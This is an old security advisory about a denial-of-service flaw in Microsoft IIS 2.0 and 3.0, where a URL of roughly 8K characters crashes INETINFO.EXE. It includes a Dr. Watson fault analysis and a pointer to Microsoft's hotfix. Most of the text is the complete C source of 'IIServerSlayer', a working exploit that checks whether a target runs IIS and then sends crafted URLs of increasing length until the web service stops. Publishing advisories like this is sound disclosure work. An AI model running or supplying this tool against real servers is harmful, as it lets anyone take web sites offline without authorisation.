COMMAND
Microsoft Internet Information Server
SYSTEMS AFFECTED
Win Nt 4.0 (server) running IIS 2.0 and 3.0
PROBLEM
The Internet Information Server services will stop when it
receives a CGI request from a browser that contains between 4k to
8k chunk of data in the URL.
Bug was found by Todd Fast. It allows a remote user--any user--to
shut down the web server, and consequently the web site, using
nothing more than a web browser.
The bug surfaces when a remote user requests a Web URL from the
IIS server that contains a certain number of characters (called
the "bug threshold" by original finder) and is of the following
form:
http://<some web server>/?something=XXXXXXXX...
To cause the fatal error, this URL should contain a CGI
name/value pair of a certain length. Note that the user does not
have to request any specific document: the error occurs because
of the length of the URL alone. Apparently, this bug only appears
when using Netscape Navigator to contact the server because
Internet Explorer won't allow such a long URL to be sent.
The length of the URL required to cause a crash is specific to
each server, but seems to hover around 8K. Finding the correct
length to kill an IIS server requires trial and error. Todd found
that URLs above the bug threshold return a "404 Object Not Found"
or similar error. Below the threshold, the requested page loads
properly. However, sending a URL who's length is exactly the bug
threshold causes the server to stop responding.
When a user sends this URL to an IIS web server, it causes an
access violation in the INETINFO.EXE process. We don't know what
this small 8k process's role is in the server's operation, but
when it fails, it causes the WWW service under IIS to stop. The
site administrator must then clear the error and restart the
service to continue operation. The bug does not always appear
upon the first document request, but repeated application will
eventually cause INETINFO.EXE to fail.
A colleague, Bill Chaison, has studied the Dr. Watson log file and
offers more information on the location of the error in the
INETINFO.EXE process:
"This particular GPF occurred at 0x77A07614 on our server. The
offending application is INETINFO.EXE, one of IIS 3.0's
components. The stamp properties of our EXE are
DATE=08/09/96, TIME=01:30a, SIZE=7440 bytes. Referencing the
dump, thread ID 0xF9 performed a string compare function which
caused a read fault during an iteration of the CMPSB (compare
string byte by byte) opcode. This opcode works off of ESI and
EDI as its base pointers and ECX as its loop repeater. I
suspect that either ECX was either miscalculated to begin
with, or ESI or EDI went out of range and caused a protection
exception. The Watson error dialog reflected 0x77A07614 as
the CS:EIP of the fault when the message box popped up. The
log file below confirms the address of the error. Search the
file for "FAULT ->" to jump to its description."
Todd created a small Java program, called IIServerSlayer, that
repeatedly hits a web server with a varying length URL until the
web server stops responding due to the IIS bug. Andrea Arcangeli
has ported that program in gcc from java using strace and
disassembling IIServerSlayer.class with javap (part of jdk).
For now is tested by me only on Linux 2.1.42 compiled with gcc
2.7.2.2 and glibc.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>
int s;
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(2);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(3);
}
return 0;
}
char *generate_die_string(int lenght) {
char letter='X';
char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
int i;
str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
strcpy(str,str_begin);
for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
str[i]=0;
strcat(str,str_end);
return (char *)str;
}
void IIServerSlayer(char *target,int lenght,int port,int flags) {
char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
char *IIS_patch = "Bad Request";
int count = 0,return_status;
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(1);
}
if((return_status = open_sock(s,target,port))) exit(return_status);
if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
,target);
send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
printf("Waiting for the reply from %s\n",target);
buff[1]=0;
while(recv(s,buff,1,0) == 1) {
if(flags & 1) printf("%s",buff);
else if(!div(count,50).rem) printf(".");
if(count < 511) header[count]=buff[0];
count++;
}
printf("\n");
header[511]=0;
if(strstr(header,IIS_string) == NULL && lenght == 0) {
printf("This is not a Microsoft-IIS/3.0 web server\n");
if(!(flags & 2)) exit(0);
}
else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
if(strstr(header,IIS_patch) != NULL) {
printf("This IIS/3.0 web server is patched against this exploit\n");
if(!(flags & 2)) exit(0);
}
close(s);
}
void main(int argc,char **argv)
{
int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
if (argc < 2 ) {
printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
printf("[-v] = verbose mode to view the server reply\n");
printf("[-f] = force running over non or patched IIS/3.0 web server\n");
exit(0);
}
for(i=1;i<argc;i++) {
if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
}
if(argc > param+2) lenght = atoi(argv[param+2]);
if(argc > param+3) port = atoi(argv[param+3]);
for(i=0;i<3;i++,lenght++) {
if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
else IIServerSlayer(argv[param+1],0,port,flags);
if(i == 1 || i == 0) lenght--;
}
if((pid = fork())) {
if(pid == -1) {
perror("I can' t fork\n");
exit(-1);
}
usleep(60000000); /* wait for 1 minute */
kill(pid,SIGTERM);
}
else {
IIServerSlayer(argv[param+1],lenght,port,flags);
printf("Sorry, %s is alive yet\n",argv[param+1]);
}
exit(0);
}
SOLUTION
The fix is available for download on the Internet at the following
URL:
ftp://ftp.microsoft.com
following path
/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix